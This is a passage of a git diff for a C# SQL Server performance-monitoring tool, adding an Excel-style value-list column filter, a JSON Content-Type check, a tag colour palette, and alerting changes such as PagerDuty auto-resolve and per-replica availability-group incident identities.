+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return PlaceholderText;
+        }
+    }
+}
diff --git a/PerformanceMonitor.Common/Services/ColumnFilterMatcher.cs b/PerformanceMonitor.Common/Services/ColumnFilterMatcher.cs
index e608b49b9a..792cb29508 100644
--- a/PerformanceMonitor.Common/Services/ColumnFilterMatcher.cs
+++ b/PerformanceMonitor.Common/Services/ColumnFilterMatcher.cs
@@ -21,7 +21,8 @@ namespace PerformanceMonitor.Common;
 public static class ColumnFilterMatcher
 {
     /// <summary>
-    /// Checks if an item matches a ColumnFilterState using operator-based filtering.
+    /// Checks if an item matches a ColumnFilterState: it has to pass the text match (operator-based) AND the value
+    /// list part (#5565). A part that is not active passes everything.
     /// </summary>
     public static bool MatchesFilter(object item, ColumnFilterState filter)
     {
@@ -34,6 +35,26 @@ public static bool MatchesFilter(object item, ColumnFilterState filter)
 
         var rawValue = property.GetValue(item);
 
+        return (!filter.HasTextMatch || MatchesText(rawValue, filter)) &&
+               (!filter.HasValuePart || MatchesValuePart(rawValue, filter));
+    }
+
+    /// <summary>
+    /// The value list part: a blank cell (null, empty or whitespace) is the blank flag's, every other cell is
+    /// looked up ordinal ignore-case. Hide passes what is not named; ShowOnly passes only what is named.
+    /// </summary>
+    public static bool MatchesValuePart(object? rawValue, ColumnFilterState filter)
+    {
+        if (!filter.HasValuePart)
+            return true;
+
+        var text = rawValue?.ToString();
+        var named = string.IsNullOrWhiteSpace(text) ? filter.ValueBlank : filter.Values.Contains(text);
+        return filter.ValueMode == ColumnValueMode.Hide ? !named : named;
+    }
+
+    private static bool MatchesText(object? rawValue, ColumnFilterState filter)
+    {
         // Handle IsEmpty/IsNotEmpty operators first
         if (filter.Operator == FilterOperator.IsEmpty)
             return IsValueEmpty(rawValue);
diff --git a/PerformanceMonitor.Common/Services/ColumnValueList.cs b/PerformanceMonitor.Common/Services/ColumnValueList.cs
new file mode 100644
index 0000000000..8165b2d748
--- /dev/null
+++ b/PerformanceMonitor.Common/Services/ColumnValueList.cs
@@ -0,0 +1,258 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The value list a column filter offers (#5565), like the filter in Excel: the distinct values of the column's
+/// cells (ordinal ignore-case), sorted ordinal ignore-case, with a (Blanks) entry first when any cell is null, empty
+/// or whitespace. No WPF dependency, so the popup and the tests drive the same code.
+/// </summary>
+public sealed class ColumnValueCatalog
+{
+    /// <summary>At most this many values are listed; the search box still reaches all of them.</summary>
+    public const int ListCap = 1000;
+
+    /// <summary>
+    /// A column whose longest value is longer than this gets no list (it is prose, a statement or a plan, not a
+    /// category), and keeps the text match.
+    /// </summary>
+    public const int MaxValueLength = 256;
+
+    /// <summary>The wording under the list when the cap cuts it off.</summary>
+    public static string CapNote(int total) =>
+        string.Create(CultureInfo.InvariantCulture, $"Showing {ListCap:N0} of {total:N0} values. Search to find the rest.");
+
+    /// <summary>The wording under the list when no value is ticked.</summary>
+    public const string NoTicksNote = "No values are ticked, so no rows show.";
+
+    private ColumnValueCatalog(IReadOnlyList<string> values, bool hasBlank, int maxLength)
+    {
+        Values = values;
+        HasBlank = hasBlank;
+        MaxLength = maxLength;
+    }
+
+    /// <summary>The distinct non-blank values, sorted ordinal ignore-case (the first spelling met is kept).</summary>
+    public IReadOnlyList<string> Values { get; }
+
+    /// <summary>At least one cell is null, empty or whitespace.</summary>
+    public bool HasBlank { get; }
+
+    /// <summary>The length of the longest non-blank value.</summary>
+    public int MaxLength { get; }
+
+    /// <summary>The column is a category-sized text column: every value fits <see cref="MaxValueLength"/>.</summary>
+    public bool IsListable => MaxLength <= MaxValueLength;
+
+    public static ColumnValueCatalog Build(IEnumerable<string?> cells)
+    {
+        var distinct = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
+        var hasBlank = false;
+        var maxLength = 0;
+        foreach (var cell in cells)
+        {
+            if (string.IsNullOrWhiteSpace(cell))
+            {
+                hasBlank = true;
+                continue;
+            }
+            if (cell.Length > maxLength)
+                maxLength = cell.Length;
+            distinct.TryAdd(cell, cell);
+        }
+
+        var values = distinct.Values.ToList();
+        values.Sort(StringComparer.OrdinalIgnoreCase);
+        return new ColumnValueCatalog(values, hasBlank, maxLength);
+    }
+
+    /// <summary>
+    /// The entries to list under a search: the (Blanks) entry first (only while the search box is empty), then the
+    /// values that contain the search text (ignore-case), cut to <see cref="ListCap"/>.
+    /// </summary>
+    public ColumnValueListing List(string? search)
+    {
+        var text = search?.Trim() ?? string.Empty;
+        var matching = text.Length == 0
+            ? Values
+            : Values.Where(v => v.Contains(text, StringComparison.OrdinalIgnoreCase)).ToList();
+        var shown = matching.Count > ListCap ? matching.Take(ListCap).ToList() : matching;
+        return new ColumnValueListing(
+            text.Length == 0 && HasBlank,
+            shown,
+            matching,
+            matching.Count > ListCap ? CapNote(matching.Count) : null);
+    }
+}
+
+/// <summary>One search's worth of the list: the (Blanks) entry, the listed values, and the cap note.</summary>
+public sealed class ColumnValueListing
+{
+    internal ColumnValueListing(bool hasBlankEntry, IReadOnlyList<string> values, IReadOnlyList<string> allMatches, string? capNote)
+    {
+        HasBlankEntry = hasBlankEntry;
+        Values = values;
+        AllMatches = allMatches;
+        CapNote = capNote;
+    }
+
+    /// <summary>The list opens with the (Blanks) entry.</summary>
+    public bool HasBlankEntry { get; }
+
+    /// <summary>The values listed (at most <see cref="ColumnValueCatalog.ListCap"/>).</summary>
+    public IReadOnlyList<string> Values { get; }
+
+    /// <summary>Every value the search matches, past the cap too: what Select All reaches.</summary>
+    public IReadOnlyList<string> AllMatches { get; }
+
+    /// <summary>"Showing 1,000 of N values. Search to find the rest." when the cap cut the list off, else null.</summary>
+    public string? CapNote { get; }
+
+    /// <summary>The entries listed, the (Blanks) entry included.</summary>
+    public int Count => Values.Count + (HasBlankEntry ? 1 : 0);
+}
+
+/// <summary>
+/// The ticks on a column's value list, from an existing filter state, and the state they make. Mode is chosen as
+/// the spec says: everything ticked is None; fewer unticked than ticked is Hide the unticked (so a value that
+/// first appears after a refresh still shows); otherwise ShowOnly the ticked (nothing ticked is ShowOnly of
+/// nothing: no rows). A value the stored filter names but the rows no longer hold is kept, not listed.
+/// </summary>
+public sealed class ColumnValueSelection
+{
+    private readonly ColumnValueCatalog _catalog;
+    private readonly HashSet<string> _unticked = new(StringComparer.OrdinalIgnoreCase);
+    private readonly HashSet<string> _absentNamed;
+    private readonly ColumnValueMode _absentMode;
+    private readonly bool _absentBlankNamed;
+    private bool _blankTicked = true;
+
+    public ColumnValueSelection(ColumnValueCatalog catalog, ColumnFilterState? existing)
+    {
+        _catalog = catalog;
+        _absentNamed = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+
+        if (existing is null || !existing.HasValuePart)
+        {
+            _absentMode = ColumnValueMode.None;
+            return;
+        }
+
+        _absentMode = existing.ValueMode;
+        var present = new HashSet<string>(catalog.Values, StringComparer.OrdinalIgnoreCase);
+
+        if (existing.ValueMode == ColumnValueMode.Hide)
+        {
+            foreach (var v in catalog.Values)
+                if (existing.Values.Contains(v))
+                    _unticked.Add(v);
+            _blankTicked = !(existing.ValueBlank && catalog.HasBlank);
+        }
+        else
+        {
+            foreach (var v in catalog.Values)
+                if (!existing.Values.Contains(v))
+                    _unticked.Add(v);
+            _blankTicked = existing.ValueBlank || !catalog.HasBlank;
+        }
+
+        foreach (var v in existing.Values)
+            if (!present.Contains(v))
+                _absentNamed.Add(v);
+        _absentBlankNamed = existing.ValueBlank && !catalog.HasBlank;
+    }
+
+    /// <summary>Whether a value is ticked.</summary>
+    public bool IsTicked(string value) => !_unticked.Contains(value);
+
+    /// <summary>Whether the (Blanks) entry is ticked.</summary>
+    public bool IsBlankTicked => _blankTicked;
+
+    public void SetTicked(string value, bool ticked)
+    {
+        if (ticked) _unticked.Remove(value); else _unticked.Add(value);
+    }
+
+    public void SetBlankTicked(bool ticked) => _blankTicked = ticked;
+
+    /// <summary>
+    /// Select All: ticks or unticks every value a search matches (past the cap too), and the (Blanks) entry when
+    /// the search shows it.
+    /// </summary>
+    public void SetAll(ColumnValueListing listing, bool ticked)
+    {
+        foreach (var v in listing.AllMatches)
+            SetTicked(v, ticked);
+        if (listing.HasBlankEntry)
+            SetBlankTicked(ticked);
+    }
+
+    /// <summary>Unticks everything, then ticks the given values (and the (Blanks) entry when asked).</summary>
+    public void TickOnly(IEnumerable<string> values, bool blank)
+    {
+        _unticked.Clear();
+        foreach (var v in _catalog.Values)
+            _unticked.Add(v);
+        foreach (var v in values)
+            _unticked.Remove(v);
+        _blankTicked = blank;
+    }
+
+    /// <summary>Writes the value part this selection makes into <paramref name="state"/> (the text match is left alone).</summary>
+    public void ApplyTo(ColumnFilterState state)
+    {
+        var blankEntry = _catalog.HasBlank;
+        var presentItems = _catalog.Values.Count + (blankEntry ? 1 : 0);
+        var untickedPresent = _unticked.Count + (blankEntry && !_blankTicked ? 1 : 0);
+        var tickedPresent = presentItems - untickedPresent;
+
+        /* The mode is chosen from the ticks on the LISTED entries only (#5565): a value the stored filter names but the
+           rows no longer hold is kept in the state, not listed, so it never tips the count. It is carried over only
+           when the new mode is the stored filter's own mode (hidden stays hidden under Hide, shown stays shown under
+           ShowOnly) and drops when the kind changes. The web's nextValues does exactly this. */
+        var unticked = untickedPresent;
+        var ticked = tickedPresent;
+
+        state.Values = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        state.ValueBlank = false;
+
+        if (unticked == 0)
+        {
+            state.ValueMode = ColumnValueMode.None;
+            return;
+        }
+
+        if (unticked < ticked)
+        {
+            state.ValueMode = ColumnValueMode.Hide;
+            foreach (var v in _unticked)
+                state.Values.Add(v);
+            state.ValueBlank = blankEntry ? !_blankTicked : _absentMode == ColumnValueMode.Hide && _absentBlankNamed;
+            if (_absentMode == ColumnValueMode.Hide)
+                foreach (var v in _absentNamed)
+                    state.Values.Add(v);
+        }
+        else
+        {
+            state.ValueMode = ColumnValueMode.ShowOnly;
+            foreach (var v in _catalog.Values)
+                if (!_unticked.Contains(v))
+                    state.Values.Add(v);
+            state.ValueBlank = blankEntry ? _blankTicked : _absentMode == ColumnValueMode.ShowOnly && _absentBlankNamed;
+            if (_absentMode == ColumnValueMode.ShowOnly)
+                foreach (var v in _absentNamed)
+                    state.Values.Add(v);
+        }
+    }
+}
diff --git a/PerformanceMonitor.Common/Services/ColumnValueListColumns.cs b/PerformanceMonitor.Common/Services/ColumnValueListColumns.cs
new file mode 100644
index 0000000000..f2122ee9c7
--- /dev/null
+++ b/PerformanceMonitor.Common/Services/ColumnValueListColumns.cs
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// Which columns get no value list (#5565), decided by the column, not by length alone: query text, statement text,
+/// plan and XML columns, prose (messages, definitions, details, reasons), and the display strings that stand in for a number
+/// or a time (a "...Text" or "...Formatted" cell) keep the text match, because a list of them is a wall of near-unique
+/// strings. The column-name rules read the bound property's name, which every grid's filter button already carries.
+/// </summary>
+public static class ColumnValueListColumns
+{
+    private static readonly string[] s_suffixes =
+    {
+        "Text", "Formatted", "Display", "Xml", "Plan", "Message", "Definition", "Preview", "Sql", "Detail", "Details",
+        "Description", "Statement", "Query", "Command", "Json", "Graph",
+        /* A script is statement-class text (index cleanup DDL, a plan-correction call), an error is a collector's
+           message (it can name a login, a host, a path or the query), an "...Info" cell is free text, and a "...Reason"
+           cell is prose a person or a collector wrote (a stored caveat, a recommendation reason) (#5565). */
+        "Script", "Error", "Info", "Reason"
+    };
+
+    private static readonly string[] s_fragments = { "QueryText", "QueryPlan", "SqlText", "StatementText", "BatchText", "PlanXml", "TextData" };
+
+    /// <summary>
+    /// The name suffixes and fragments, for the test that holds the web page's copy of this rule
+    /// (<c>NO_LIST_SUFFIXES</c> and <c>NO_LIST_FRAGMENTS</c> in grid-value-filter.js) to the same list.
+    /// </summary>
+    public static IReadOnlyList<string> NameSuffixes => s_suffixes;
+
+    /// <summary>See <see cref="NameSuffixes"/>.</summary>
+    public static IReadOnlyList<string> NameFragments => s_fragments;
+
+    /// <summary>The column's name marks it as one that never gets a value list.</summary>
+    public static bool IsExcluded(string propertyName)
+    {
+        if (string.IsNullOrEmpty(propertyName))
+            return true;
+
+        foreach (var fragment in s_fragments)
+            if (propertyName.Contains(fragment, StringComparison.OrdinalIgnoreCase))
+                return true;
+
+        foreach (var suffix in s_suffixes)
+            if (propertyName.EndsWith(suffix, StringComparison.OrdinalIgnoreCase))
+                return true;
+
+        return false;
+    }
+}
diff --git a/PerformanceMonitor.Common/Services/JsonContentType.cs b/PerformanceMonitor.Common/Services/JsonContentType.cs
new file mode 100644
index 0000000000..d9b71d42e6
--- /dev/null
+++ b/PerformanceMonitor.Common/Services/JsonContentType.cs
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The one Content-Type test every embedded HTTP surface applies to a request that carries a body: Darling's
+/// web dashboard write routes, Darling's MCP host and Lite's MCP host. Authored once here, in the library both
+/// apps already reference, so the two MCP hosts cannot drift apart on what counts as JSON.
+///
+/// <para>PURE (a string in, a bool out, no HTTP types) so it unit-tests without a server and this library keeps no
+/// ASP.NET Core dependency. A request with a body must carry <c>application/json</c> (a charset parameter is fine);
+/// <c>text/plain</c>, <c>application/x-www-form-urlencoded</c>, <c>multipart/form-data</c> or no Content-Type at all
+/// is answered 415 before a handler runs.</para>
+/// </summary>
+public static class JsonContentType
+{
+    /// <summary>
+    /// Whether <paramref name="contentType"/> is <c>application/json</c>: a trailing <c>; charset=...</c> parameter
+    /// is ignored and the match is case-insensitive. A null, empty or any other media type (including
+    /// <c>application/problem+json</c>) is not JSON here.
+    /// </summary>
+    public static bool IsJson(string? contentType)
+    {
+        if (string.IsNullOrEmpty(contentType))
+        {
+            return false;
+        }
+
+        var semicolon = contentType.IndexOf(';', StringComparison.Ordinal);
+        var mediaType = semicolon >= 0 ? contentType.AsSpan(0, semicolon) : contentType.AsSpan();
+        return mediaType.Trim().Equals("application/json", StringComparison.OrdinalIgnoreCase);
+    }
+}
diff --git a/PerformanceMonitor.Common/TagColours.cs b/PerformanceMonitor.Common/TagColours.cs
new file mode 100644
index 0000000000..c2b867016c
--- /dev/null
+++ b/PerformanceMonitor.Common/TagColours.cs
@@ -0,0 +1,79 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The fixed server-tag colour palette (#2008 stage 2a) and the deterministic tag → colour assignment.
+/// Pure and WPF-free (hex strings only; each surface turns a hex into its own brush), so the viewer, the
+/// service and the MCP tools share one copy. The swatches are mid-tone saturated colours chosen to read under
+/// a constant light pill label (#E4E6EB) in BOTH the light and dark viewer themes, so a tag's pill looks the
+/// same whichever theme is active — that is the "theme-safe" requirement, and it is why the palette is a
+/// fixed set rather than theme-keyed brushes (which would have to diverge per theme and trip the parity guard).
+/// <para><see cref="ForTagId"/> rotates by tag id, NOT randomly: re-creating the same tags in the same order
+/// yields the same colours, and a tag keeps its colour for life because its id never changes.</para>
+/// </summary>
+public static class TagColours
+{
+    /// <summary>The palette, as <c>#RRGGBB</c> strings. Order is the rotation order for <see cref="ForTagId"/>
+    /// and the order the colour picker presents the swatches.</summary>
+    public static readonly IReadOnlyList<string> Swatches = new[]
+    {
+        "#B5484A", // red
+        "#BE6C3C", // orange
+        "#8F7A2E", // gold
+        "#4B8B57", // green
+        "#2F8080", // teal
+        "#416FA6", // blue
+        "#7C5299", // purple
+        "#A85286", // magenta
+    };
+
+    /// <summary>
+    /// The palette colour a newly-created tag is assigned, rotated by its id so the choice is stable and
+    /// reproducible (id 1 → the second swatch, wrapping by the palette length). Ids are the store's positive
+    /// IDENTITY values; the modulo is written to stay in range for any non-negative id.
+    /// </summary>
+    public static string ForTagId(int id)
+    {
+        var count = Swatches.Count;
+        var index = ((id % count) + count) % count;
+        return Swatches[index];
+    }
+
+    /// <summary>
+    /// Whether <paramref name="colour"/> is a value this palette layer would store — a 7-char <c>#RRGGBB</c>
+    /// hex. Null/empty is valid too (the "no colour, neutral pill" state); this rejects only malformed text,
+    /// so a hand-edited store value can't reach a brush parser as garbage.
+    /// </summary>
+    public static bool IsValidStoredColour(string? colour)
+    {
+        if (string.IsNullOrEmpty(colour))
+        {
+            return true;
+        }
+
+        if (colour.Length != 7 || colour[0] != '#')
+        {
+            return false;
+        }
+
+        for (var i = 1; i < colour.Length; i++)
+        {
+            if (!Uri.IsHexDigit(colour[i]))
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/PerformanceMonitor.Notifications/AgAlertContexts.cs b/PerformanceMonitor.Notifications/AgAlertContexts.cs
index 2213e7d7da..450771e9b4 100644
--- a/PerformanceMonitor.Notifications/AgAlertContexts.cs
+++ b/PerformanceMonitor.Notifications/AgAlertContexts.cs
@@ -37,4 +37,12 @@ public static AlertContext ForDatabase(
         context.Details.Add(new AlertDetailItem { Heading = database, Fields = fields });
         return context;
     }
+
+    /// <summary>
+    /// The incident identity for the AG disconnect/reconnect pair: one replica within one group. A single
+    /// "AG:replica" member (not two), so it can't be set half-way. Only this pair carries it — every other
+    /// grain's incidents answer through fingerprints already.
+    /// </summary>
+    public static AlertContext ForReplica(string agName, string replicaServerName) =>
+        new() { AgReplicaIdentity = $"{agName}:{replicaServerName}" };
 }
diff --git a/PerformanceMonitor.Notifications/AlertContext.cs b/PerformanceMonitor.Notifications/AlertContext.cs
index 103c0df095..900e2dfb4c 100644
--- a/PerformanceMonitor.Notifications/AlertContext.cs
+++ b/PerformanceMonitor.Notifications/AlertContext.cs
@@ -95,6 +95,29 @@ public class AlertContext
     /// other alert and on any row written before this member existed.
     /// </summary>
     public string? CollectorName { get; set; }
+
+    /// <summary>
+    /// The availability group and replica this firing is ABOUT, for edge alerts that need a per-replica
+    /// incident identity (the AG disconnect/reconnect pair — one server can host many replicas of many
+    /// groups). Set by both engines' AG fire sites to the replica grain the row itself is keyed on, so
+    /// <see cref="WebhookAlertService.DerivePagerDutyDedupKey"/> can scope that pair's dedup key per
+    /// replica instead of per server: with auto-resolve on, one replica's reconnect must close only ITS
+    /// incident, not the one a still-disconnected sibling is still holding open. Read only through
+    /// <see cref="WebhookAlertService.PairedReplicaScope"/>, only for that pair: the dedup key and the
+    /// webhook cooldown key (#5469) both take it from there, under the same auto-resolve gate. No renderer,
+    /// budget or email cooldown reads it. Null on every other alert and on any
+    /// row written before this member existed. Unpersisted: like <see cref="AttachmentXml"/> this is
+    /// live-render data, not row data. The pairing name is the literal "AG:replica", because that is
+    /// exactly the shape consumers can reason about — see the helper for why.
+    /// </summary>
+    public string? AgReplicaIdentity { get; set; }
+
+    /// <summary>
+    /// A copy of this context that shares its member objects (#5320): the alert statement filter replaces the
+    /// members it rewrites and leaves the rest, so a member added to this class later is carried without the
+    /// filter being edited. A field-by-field copy would silently drop it.
+    /// </summary>
+    public AlertContext ShallowCopy() => (AlertContext)MemberwiseClone();
 }
 
 /// <summary>
@@ -285,6 +308,9 @@ public class AlertDetailItem
     /// which is the no-Apply-button case.
     /// </summary>
     public RemediationAction? Remediation { get; set; }
+
+    /// <summary>A copy that shares its member objects (#5320); see <see cref="AlertContext.ShallowCopy"/>.</summary>
+    public AlertDetailItem ShallowCopy() => (AlertDetailItem)MemberwiseClone();
 }
 
 /// <summary>
diff --git a/PerformanceMonitor.Notifications/AlertFamily.cs b/PerformanceMonitor.Notifications/AlertFamily.cs
index 782ddb1009..104423922c 100644
--- a/PerformanceMonitor.Notifications/AlertFamily.cs
+++ b/PerformanceMonitor.Notifications/AlertFamily.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 
 namespace PerformanceMonitor.Notifications;
 
@@ -115,11 +116,18 @@ public static class AlertFamily
         ["Compression Job Stuck"] = SelfMonitor,
         ["Store Disk Pressure"] = SelfMonitor,
         ["Store Runtime Upgrade"] = SelfMonitor,
+        /* #5450: raised once per service start when the store shows the service was not collecting. */
+        ["Collection Gap At Start"] = SelfMonitor,
+        /* #5450: the daily retained-history audit: hours of a past day the store's rollups hold under half of usual. */
+        ["Collection Gaps In History"] = SelfMonitor,
         ["Store Job Over Cadence"] = SelfMonitor,
         ["Retention Held"] = SelfMonitor,
         ["Custom Alert Rules Unhealthy"] = SelfMonitor,
         ["Stale Mute Rules"] = SelfMonitor,
         ["Web TLS Certificate Expiring"] = SelfMonitor,
+        /* #5288: the MCP endpoint's twin of the web certificate alert, its own metric so a mute or route for
+           one never covers the other. */
+        ["MCP TLS Certificate Expiring"] = SelfMonitor,
         /* #4732: collection skipped a share of the slots that came due over the last hour. */
         ["Collection Falling Behind"] = SelfMonitor,
         /* #4215: a managed store's darling-managed.conf fell back to the last-good copy, is
@@ -153,6 +161,9 @@ under its own name so a mute or a route on one is not silently a mute on the oth
     /// The recoveries the product DELIVERS as alerts, each paired with the firing it clears. Only these two
     /// reach a channel under a name other than their firing's; every other recovery is a history row
     /// (<c>AlertResolution</c>, never routed). An exact-metric route on the firing catches the recovery.
+    /// <para>The VALUE side is the incident's name, which is also the whole grain the pair is keyed on
+    /// everywhere the lifecycle is named: the PagerDuty dedup key reads the value for the firing edge
+    /// too (the firing's own name must equal the closing edge's, or the pair is two incidents again).</para>
     /// </summary>
     public static readonly IReadOnlyDictionary<string, string> RecoveryPairs = new Dictionary<string, string>(StringComparer.Ordinal)
     {
@@ -160,6 +171,50 @@ under its own name so a mute or a route on one is not silently a mute on the oth
         ["AG Replica Reconnected"] = "AG Replica Disconnected",
     };
 
+    /// <summary>
+    /// The closing edge of a FIRING metric of a pair (<see cref="RecoveryPairs"/> read from its value side):
+    /// "Server Unreachable" gives "Server Restored". False for a closing edge or any metric outside the pairs.
+    /// </summary>
+    public static bool TryGetRecoveryOf(string metricName, out string recovery)
+    {
+        foreach (var pair in RecoveryPairs)
+        {
+            if (string.Equals(pair.Value, metricName, StringComparison.Ordinal))
+            {
+                recovery = pair.Key;
+                return true;
+            }
+        }
+
+        recovery = "";
+        return false;
+    }
+
+    /// <summary>
+    /// The OTHER edge of the pair <paramref name="metricName"/> belongs to (#5469): the closing edge for a
+    /// firing metric, the firing metric for a closing edge. False for a metric outside the pairs.
+    /// </summary>
+    public static bool TryGetPairedEdge(string metricName, out string other)
+    {
+        if (RecoveryPairs.TryGetValue(metricName, out var firing))
+        {
+            other = firing;
+            return true;
+        }
+
+        return TryGetRecoveryOf(metricName, out other);
+    }
+
+    /// <summary>
+    /// Whether <paramref name="metricName"/> belongs to the paired lifecycle on EITHER side: a closing edge
+    /// (<see cref="RecoveryPairs"/> key) or a firing whose close re-keys onto it (a value). A future pair
+    /// joins the checks that read this by naming its value — no second census, so the two directions of
+    /// one pair cannot drift apart.
+    /// </summary>
+    public static bool IsPairedEdge(string metricName) =>
+        RecoveryPairs.ContainsKey(metricName)
+        || RecoveryPairs.Values.Any(value => string.Equals(value, metricName, StringComparison.Ordinal));
+
     /// <summary>The metric-name prefixes of the two dynamic alert shapes, each with its family.</summary>
     public static readonly IReadOnlyList<(string Prefix, string Family)> PrefixFamilies = new[]
     {
diff --git a/PerformanceMonitor.Notifications/AlertSeverity.cs b/PerformanceMonitor.Notifications/AlertSeverity.cs
index 59f179d748..2f9d9d442b 100644
--- a/PerformanceMonitor.Notifications/AlertSeverity.cs
+++ b/PerformanceMonitor.Notifications/AlertSeverity.cs
@@ -99,6 +99,10 @@ explicit severity at its site (now plumbed through AlertOutcome.Severity by the
             "Store Disk Pressure" => ("#DC2626", "CRITICAL", "\U0001F534"),
             "Store Runtime Upgrade" => ("#DC2626", "CRITICAL", "\U0001F534"),
             "Compression Job Stuck" => ("#DC2626", "CRITICAL", "\U0001F534"),
+            /* #5450: fires Warning at its one site. */
+            "Collection Gap At Start" => ("#D97706", "WARNING", "\U0001F7E0"),
+            /* #5450: fires Warning at its one site. */
+            "Collection Gaps In History" => ("#D97706", "WARNING", "\U0001F7E0"),
             /* #3816: the other two policy families page under their own names, and each name has exactly ONE
                tier at its fire site — so these arms are the faithful replay colour for every row they will
                ever style, rather than the #3635 defect of a row wearing the colour its NAME implies. A dead
diff --git a/PerformanceMonitor.Notifications/AnalysisNotificationService.cs b/PerformanceMonitor.Notifications/AnalysisNotificationService.cs
index dc6d83e269..3a7a7411b4 100644
--- a/PerformanceMonitor.Notifications/AnalysisNotificationService.cs
+++ b/PerformanceMonitor.Notifications/AnalysisNotificationService.cs
@@ -992,7 +992,11 @@ private static List<AlertIncident> BuildIncidents(AnalysisFinding finding)
         {
             var events = blockingRows.Select(r => new BlockingIncidentGrouper.BlockedEvent(
                 GetField(r, "database"), GetField(r, "contentious_object"),
-                GetField(r, "blocked_sql"), GetField(r, "blocking_sql"), GetLongField(r, "wait_time_ms")));
+                GetField(r, "blocked_sql"), GetField(r, "blocking_sql"), GetLongField(r, "wait_time_ms"),
+                /* #4348: the withheld-chain key reads the lock mode, so this producer must pass it too (both
+                   drill-down collectors emit lock_mode on every top_blocking_chains row), or one chain gets
+                   one dedup key here and another from the live alert and get_blocking. */
+                GetField(r, "lock_mode")));
             result.AddRange(BlockingIncidentGrouper.Group(server, events).Select(g => g.Incident));
             return result;
         }
diff --git a/PerformanceMonitor.Notifications/EmailSendCore.cs b/PerformanceMonitor.Notifications/EmailSendCore.cs
index db62963451..92dfa1cc4b 100644
--- a/PerformanceMonitor.Notifications/EmailSendCore.cs
+++ b/PerformanceMonitor.Notifications/EmailSendCore.cs
@@ -189,8 +189,8 @@ reuses DerivePagerDutyDedupKey so the link correlates with the SAME incident Pag
                    (base URL unset, or the dashboard disabled) renders neither body's link, same as today. */
                 var triageUrl = TriageLink.Build(
                     _settings.TriageBaseUrl, serverName, metricName, DateTime.UtcNow,
-                    WebhookAlertService.DerivePagerDutyDedupKey(
-                        string.IsNullOrEmpty(serverId) ? serverName : serverId, metricName, render.Context));
+                    WebhookAlertService.DerivePagerDutyDedupKeyForSend(
+                        string.IsNullOrEmpty(serverId) ? serverName : serverId, metricName, render.Context, _settings));
 
                 var (htmlBody, plainTextBody) = EmailTemplateBuilder.BuildAlertEmail(
                     metricName, serverName, currentValue, thresholdValue, _settings.EmailCooldownMinutes, _branding,
diff --git a/PerformanceMonitor.Notifications/IAlertSettings.cs b/PerformanceMonitor.Notifications/IAlertSettings.cs
index c66ad1478c..660b5c967d 100644
--- a/PerformanceMonitor.Notifications/IAlertSettings.cs
+++ b/PerformanceMonitor.Notifications/IAlertSettings.cs
@@ -86,6 +86,25 @@ same automation need with no process-execution surface in a signed binary. */
     /// Empty means direct, matching Teams/Slack/Generic.</summary>
     string PagerDutyProxyAddress { get; }
 
+    /// <summary>
+    /// Opt-in, PagerDuty-only: when true, the CLOSING edge of an edge-type alert pair
+    /// (<see cref="AlertFamily.RecoveryPairs"/> — a connection's "Server Restored", a replica's
+    /// "AG Replica Reconnected") is sent as a <c>resolve</c> event on the SAME dedup_key its firing edge's
+    /// trigger opened, closing the PagerDuty incident as part of the tool's own incident lifecycle. Default
+    /// false — the tool does not auto-resolve incidents with third parties unless the operator asks it to,
+    /// and the closing edge is delivered as an info-severity <c>trigger</c> on ITS OWN key (correlated
+    /// into the open incident ONLY when the flag is on — the paired keying below is part of the opt-in,
+    /// not the default: see <see cref="WebhookAlertService.DerivePagerDutyDedupKey"/>). No other channel,
+    /// and no other alert type, is affected.
+    ///
+    /// <para>Defaulted on the interface rather than declared abstract, on
+    /// <see cref="UncorroboratedFindingRoute"/>'s precedent and for the same reason: the default IS the
+    /// ruling, so an adapter that does not implement this member has opted into nothing but the shipped
+    /// behaviour. Darling reads it from the store (<c>config_notification.pagerduty_auto_resolve</c>);
+    /// Lite from its settings file; the deprecated Dashboard keeps the interface default.</para>
+    /// </summary>
+    bool PagerDutyAutoResolve => false;
+
     /* Scheduled-analysis notifications */
     double AnalysisNotifySeverity { get; }
     int    AnalysisNotifyCooldownMinutes { get; }
@@ -140,4 +159,12 @@ same automation need with no process-execution surface in a signed binary. */
     /// routes table and its adapter takes this default. Only Darling's store-backed adapter overrides it.</para>
     /// </summary>
     System.Collections.Generic.IReadOnlyList<NotificationRoute> NotificationRoutes => System.Array.Empty<NotificationRoute>();
+
+    /// <summary>
+    /// The settings one webhook delivery reads from (#5366): every webhook URL, routing key, header, body template and
+    /// proxy the delivery uses comes from this one view, so a saved setting that changes while the delivery is in flight
+    /// does not move a later channel of the same delivery. Defaulted to the live settings: an adapter whose values are
+    /// plain fields (Lite) is unchanged. Darling's adapter overrides it with a frozen copy.
+    /// </summary>
+    IAlertSettings SnapshotForDelivery() => this;
 }
diff --git a/PerformanceMonitor.Notifications/IncidentCooldown.cs b/PerformanceMonitor.Notifications/IncidentCooldown.cs
index a0c3a8d56e..b9857a66bb 100644
--- a/PerformanceMonitor.Notifications/IncidentCooldown.cs
